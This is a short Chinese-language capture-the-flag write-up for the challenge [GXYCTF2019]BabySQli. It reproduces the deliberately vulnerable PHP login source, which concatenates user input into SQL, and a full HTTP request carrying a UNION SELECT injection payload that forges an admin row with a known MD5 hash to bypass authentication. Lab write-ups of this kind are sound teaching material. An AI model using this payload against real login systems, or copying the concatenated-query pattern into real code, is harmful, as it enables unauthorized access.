[GXYCTF2019]BabySQli

发布时间 2023-12-11 15:15:44作者: imtaieee

题目打开如下。
image.png
题目中给了源码,源码主要部分如下。

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);

//过滤(、)、=、or
if(preg_match("/\(|\)|\=|or/", $name)){
  die("do not hack me!");
}
else{
  if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
  }
  else{
    // echo '<pre>';
    $arr = mysqli_fetch_row($result);
    // print_r($arr);
    if($arr[1] == "admin"){
      if(md5($password) == $arr[2]){
        echo $flag;
      }
      else{
        die("wrong pass!");
      }
    }
    else{
      die("wrong user!");
    }
  }
}

?>
POST /search.php HTTP/1.1
Host: b8b1a628-a007-40e6-87dd-bcca0b51bb8d.node4.buuoj.cn:81
Content-Length: 79
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://b8b1a628-a007-40e6-87dd-bcca0b51bb8d.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b8b1a628-a007-40e6-87dd-bcca0b51bb8d.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

name='+union+select+1,'admin','21232f297a57a5a743894a0e4a801fc3'%3b%23&pw=admin

这里通过设置 name 为空,然后返回一个空集,再 union 即可满足 $arr[1] == "admin"